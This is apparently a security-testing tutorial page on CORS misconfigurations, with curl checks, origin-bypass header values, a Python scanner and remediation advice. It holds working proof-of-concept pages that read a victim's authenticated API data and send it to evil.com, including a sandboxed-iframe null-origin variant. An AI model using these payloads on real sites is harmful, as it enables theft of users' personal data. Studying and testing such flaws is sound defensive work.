Exploitation A05 A01

CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) misconfigurations can allow attackers to steal sensitive data, perform actions on behalf of users, and bypass same-origin policy protections.

โš ๏ธ Why CORS Misconfigurations Are Dangerous

Data Theft: Attackers can read sensitive API responses (PII, tokens, financial data) from victim's authenticated session
Often Overlooked: Developers frequently misconfigure CORS to "make things work" during development and forget to harden for production
Chain Amplifier: CORS misconfigurations amplify the impact of XSS, open redirects, and CSRF attacks
API-Heavy Apps: Modern SPAs and microservices rely heavily on CORS, increasing attack surface

๐Ÿ’ก Real-World Impact: CORS misconfigurations have led to account takeovers in major bug bounty programs including Uber, Facebook, and numerous financial applications.

CORS Fundamentals

CORS is a browser mechanism that allows controlled access to resources across different origins. It uses HTTP headers (Access-Control-Allow-Origin, Access-Control-Allow-Credentials) to tell the browser whether a cross-origin request should be allowed. Misconfiguration occurs when these headers are too permissive.

๐Ÿ› ๏ธ CORS Testing Tools

CORScanner

Automated CORS misconfiguration scanner

pip install cors GitHub โ†’

Corsy

CORS misconfiguration scanner by s0md3v

python3 corsy.py -u URL GitHub โ†’

Burp Suite

Passive CORS detection via scanner

# Active + Passive scan Website โ†’

Nuclei

Template-based CORS checks

nuclei -t cors/ GitHub โ†’

curl

Manual CORS header testing

curl -sI -H "Origin: ..."

OWASP ZAP

Passive CORS alerts built-in

# Passive scan mode Website โ†’

Understanding CORS Headers

Header Purpose Dangerous Values
Access-Control-Allow-Origin Specifies allowed origins * or reflected origin
Access-Control-Allow-Credentials Allows sending cookies/auth true with permissive ACAO
Access-Control-Allow-Methods Permitted HTTP methods PUT, DELETE, PATCH unnecessarily
Access-Control-Allow-Headers Permitted request headers * or Authorization
Access-Control-Expose-Headers Headers accessible to JS Sensitive headers exposed

1. Origin Reflection (Most Critical)

The server blindly reflects any Origin header value in the Access-Control-Allow-Origin response. Combined with Access-Control-Allow-Credentials: true, this allows full data theft.

bash
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# If both present โ†’ CRITICAL: Full authenticated data theft possible
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# If both present โ†’ CRITICAL: Full authenticated data theft possible

Exploitation PoC

html
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
  // This runs on attacker's site (evil.com)
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'  // Send victim's cookies
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate the victim's data
    console.log('Stolen data:', JSON.stringify(data));
    
    // Send to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
  // This runs on attacker's site (evil.com)
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'  // Send victim's cookies
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate the victim's data
    console.log('Stolen data:', JSON.stringify(data));
    
    // Send to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>

2. Null Origin Bypass

Some applications allowlist the null origin, which can be triggered from sandboxed iframes, data: URIs, and local file origins.

bash
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
html
<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="
<script>
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'
  })
  .then(r => r.json())
  .then(d => {
    // Origin will be 'null' from sandboxed iframe
    fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
  });
</script>
"></iframe>
<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="
<script>
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'
  })
  .then(r => r.json())
  .then(d => {
    // Origin will be 'null' from sandboxed iframe
    fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
  });
</script>
"></iframe>

3. Wildcard with Credentials

While browsers block Access-Control-Allow-Origin: * with credentials, some servers work around this by dynamically reflecting the origin when credentials are needed โ€” creating the same vulnerability as origin reflection.

http
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# โ†‘ Browser will NOT send cookies with this

# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# โ†‘ Server dynamically reflects any origin to allow credentials
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# โ†‘ Browser will NOT send cookies with this

# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# โ†‘ Server dynamically reflects any origin to allow credentials

4. Regex & Allowlist Bypass

Many applications use regex or string-matching to validate origins. Poorly implemented checks can be bypassed.

http
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com

# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com

# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com

# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)

# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com

# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com

# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com

# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)

# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)

5. Pre-flight Request Handling

Complex requests trigger a preflight OPTIONS request. Mishandling of preflight can expose additional attack vectors.

bash
# Test preflight handling
curl -X OPTIONS -sI \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
  https://target.com/api/data

# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400  โ† 24 hours, changes take effect slowly
# Test preflight handling
curl -X OPTIONS -sI \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
  https://target.com/api/data

# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400  โ† 24 hours, changes take effect slowly

Automation Scripts

#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse

def test_cors(url):
    """Test for common CORS misconfigurations"""
    results = []
    parsed = urlparse(url)
    
    tests = [
        # Origin reflection
        {"Origin": "https://evil.com"},
        # Null origin
        {"Origin": "null"},
        # Subdomain matching bypass
        {"Origin": f"https://evil.{parsed.netloc}"},
        # Prefix match bypass
        {"Origin": f"https://{parsed.netloc}.evil.com"},
        # Scheme downgrade
        {"Origin": f"http://{parsed.netloc}"},
    ]
    
    for headers in tests:
        try:
            resp = requests.get(url, headers=headers, timeout=10)
            acao = resp.headers.get("Access-Control-Allow-Origin", "")
            acac = resp.headers.get("Access-Control-Allow-Credentials", "")
            
            if acao == headers["Origin"]:
                severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
                results.append({
                    "origin": headers["Origin"],
                    "reflected": acao,
                    "credentials": acac,
                    "severity": severity
                })
        except requests.RequestException as e:
            print(f"  [-] Error testing {headers}: {e}")
    
    return results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
    print(f"[*] Testing CORS on: {target}")
    findings = test_cors(target)
    
    if findings:
        for f in findings:
            print(f"  [!] {f['severity']}: Origin '{f['origin']}' reflected")
            print(f"      ACAO: {f['reflected']}")
            print(f"      Credentials: {f['credentials']}")
    else:
        print("  [+] No CORS misconfigurations found")
#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse

def test_cors(url):
    """Test for common CORS misconfigurations"""
    results = []
    parsed = urlparse(url)
    
    tests = [
        # Origin reflection
        {"Origin": "https://evil.com"},
        # Null origin
        {"Origin": "null"},
        # Subdomain matching bypass
        {"Origin": f"https://evil.{parsed.netloc}"},
        # Prefix match bypass
        {"Origin": f"https://{parsed.netloc}.evil.com"},
        # Scheme downgrade
        {"Origin": f"http://{parsed.netloc}"},
    ]
    
    for headers in tests:
        try:
            resp = requests.get(url, headers=headers, timeout=10)
            acao = resp.headers.get("Access-Control-Allow-Origin", "")
            acac = resp.headers.get("Access-Control-Allow-Credentials", "")
            
            if acao == headers["Origin"]:
                severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
                results.append({
                    "origin": headers["Origin"],
                    "reflected": acao,
                    "credentials": acac,
                    "severity": severity
                })
        except requests.RequestException as e:
            print(f"  [-] Error testing {headers}: {e}")
    
    return results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
    print(f"[*] Testing CORS on: {target}")
    findings = test_cors(target)
    
    if findings:
        for f in findings:
            print(f"  [!] {f['severity']}: Origin '{f['origin']}' reflected")
            print(f"      ACAO: {f['reflected']}")
            print(f"      Credentials: {f['credentials']}")
    else:
        print("  [+] No CORS misconfigurations found")

Bulk Testing with Nuclei

bash
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt

# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20

# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt

# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20

# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

High-Impact Exploitation Scenarios

๐Ÿ’ณ Account Data Theft

Steal user profile data, API keys, personal information, and payment details from authenticated API endpoints.

๐Ÿ”‘ Token Extraction

Extract CSRF tokens, API keys, or session data from responses to chain with other attacks.

๐Ÿ”„ State-Changing Actions

Perform authenticated mutations (password change, email update, money transfer) if CORS allows methods and credentials.

๐Ÿ—๏ธ Internal Network Probing

Exploit CORS on internal applications to pivot from an XSS on a public app to internal API data theft.

๐Ÿ›ก๏ธ Remediation & Defense

Defensive Measures

Origin Validation

  • โ€ข Use a strict allowlist of permitted origins (exact string match)
  • โ€ข Never reflect the Origin header without validation
  • โ€ข Reject null origin unless specifically required
  • โ€ข Validate both scheme and hostname (don't allow HTTP for HTTPS sites)

Header Configuration

  • โ€ข Only set Access-Control-Allow-Credentials: true when absolutely needed
  • โ€ข Restrict Access-Control-Allow-Methods to minimum required
  • โ€ข Limit Access-Control-Expose-Headers to non-sensitive headers
  • โ€ข Use short Access-Control-Max-Age values for preflight caching

Architecture

  • โ€ข Implement CORS at the reverse proxy/gateway level for consistency
  • โ€ข Use server-side proxying instead of CORS where possible
  • โ€ข Audit CORS configuration regularly in CI/CD
  • โ€ข Add CORS checks to security testing pipeline

Monitoring

  • โ€ข Log cross-origin requests with credentials
  • โ€ข Alert on CORS requests from unexpected origins
  • โ€ข Monitor for CORS policy changes in production
  • โ€ข Test CORS configuration after deployments

CWE References: CWE-942 (Permissive Cross-domain Policy), CWE-346 (Origin Validation Error)

โœ… CORS Testing Checklist

Origin Testing
  • โ˜ Arbitrary origin reflection
  • โ˜ Null origin acceptance
  • โ˜ Subdomain-based bypass
  • โ˜ Prefix/suffix matching flaws
  • โ˜ Protocol downgrade (httpโ†’https)
Header Analysis
  • โ˜ Credentials allowed with permissive ACAO
  • โ˜ Wildcard methods allowed
  • โ˜ Sensitive headers exposed
  • โ˜ Preflight caching duration
  • โ˜ Vary: Origin header present
Impact Assessment
  • โ˜ Sensitive data readable cross-origin
  • โ˜ State-changing actions possible
  • โ˜ Token/credential extraction
  • โ˜ Document PoC with evidence
  • โ˜ Rate CVSS appropriately

๐Ÿงช Practice Labs

Evidence Collection

Origin Reflection: Capture the full HTTP request/response showing the server reflecting an attacker-controlled Origin in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true.

Credential Inclusion: Demonstrate that cookies or Authorization headers are sent cross-origin by showing the browser's request with credentials and the server's permissive CORS response.

Data Exfiltration PoC: Create a proof-of-concept HTML page hosted on an attacker domain that reads sensitive data cross-origin โ€” screenshot the stolen data rendered on the attacker page.

Null Origin Bypass: If the server trusts Origin: null, document the iframe sandbox or data: URI technique used to trigger it and the resulting data access.

CVSS Range: 5.3 (information disclosure without credentials) โ€“ 8.8 (full account takeover via credentialed cross-origin requests)

False Positive Identification

  • Public API by Design: APIs serving public data may intentionally use Access-Control-Allow-Origin: * โ€” this is safe when no credentials are involved and responses contain no sensitive data.
  • No Credentials Flag: Wildcard origin without Access-Control-Allow-Credentials: true means cookies are never sent cross-origin โ€” the risk is limited to public data leakage.
  • Preflight Blocked: If the server correctly rejects OPTIONS preflight requests from untrusted origins, the actual cross-origin request never executes despite permissive headers on simple requests.
  • Internal Network Only: CORS misconfigurations on internal-only APIs require the attacker to already have network access โ€” assess whether the target is internet-facing before escalating severity.